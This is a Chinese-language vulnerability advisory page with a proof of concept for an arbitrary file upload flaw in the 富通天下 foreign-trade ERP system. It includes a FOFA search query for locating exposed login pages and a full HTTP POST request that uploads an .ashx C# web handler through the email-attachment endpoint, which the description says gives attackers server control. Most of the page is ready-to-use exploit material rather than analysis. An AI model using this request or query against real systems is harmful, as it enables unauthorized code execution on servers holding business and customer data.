富通天下外贸ERP任意文件上传漏洞

2022-10-08 富通天下外贸ERP PoC Public

Description

富通天下外贸ERP基于二维界面管理功能，用户可对客户进行精细化的服务和跟踪，客户基本情况、邮件往来样品寄送记录、报价记录、定金收款情况等，信息脉络化，外贸管理软件让您全方位俯瞰客户管理。该系统存在任意文件上传漏洞，攻击者可通过该漏洞获取服务器权限。

PoC

## 富通天下外贸ERP任意文件上传漏洞



## fofa

```

title="用户登录_富通天下外贸ERP"

```



## poc

```

POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1

Host: 

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36

Content-Type: application/x-www-form-urlencoded

 

<% @ webhandler language="C#" class="AverageHandler" %>

using System;

using System.Web;

public class AverageHandler : IHttpHandler

{

public bool IsReusable

{ get { return true; } }

public void ProcessRequest(HttpContext ctx)

{

ctx.Response.Write("hello");

}

}

```

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://www.ddpoc.com/DVB-2022-3937.html

Related Vulnerabilities